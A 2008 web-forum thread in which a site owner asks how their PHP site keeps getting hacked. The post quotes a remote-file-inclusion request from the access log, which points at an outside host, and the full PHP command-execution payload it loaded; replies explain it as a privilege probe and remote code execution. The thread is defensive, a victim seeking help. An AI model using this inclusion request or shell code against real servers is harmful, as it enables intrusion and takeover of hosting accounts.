EllisLab text mark
Advanced Search
     
is this hacking code
Posted: 12 April 2008 08:26 AM   [ Ignore ]
Avatar
Joined: 2008-04-06
142 posts

hi
my site has been continously hacked since last week. when i see the access log found this.
http://www myurl. file .php?prefix=http://t0dz.tripod.com/id.txt?
CODE on that id.txt file was

<!—
echo “Mic22”;
$cmd=“id”;
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = ‘’;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(”\n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,“r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

and the source code of the replaced index file is here:
http://www.0point5.com/hacked-1.htm

does any one know about these things and prevention.

 Signature 

CodeFight CMS - based on CI 2.0 | Facebook | All CI CMS | twitter | CI | My Website

 
Posted: 12 April 2008 12:59 PM   [ Ignore ]   [ # 1 ]   [ Rating: 0 ]
Avatar
Joined: 2007-04-18
120 posts

This code tries to execute system command ‘id’ (Unix/Linux) which prints user identity (to which groups current user belongs etc.). So IF this has been executed, attacker will know more information about user rights (your hosting rights) and eventually can use this information for further attacks (likely again with the same script but with different, worse, command)

 
Posted: 12 April 2008 01:01 PM   [ Ignore ]   [ # 2 ]   [ Rating: 0 ]
Joined: 2007-11-08
237 posts

Looks like you’re not checking where the files are coming from within your GET variable. Anyway, this looks like a shell script to me and the practice is called “remote code execution” and this is where the hacker will try and import and execute his code on your server.

You need to limit acess to your server files in the GET variable.

 Signature 

Redux Auth is no longer maintained.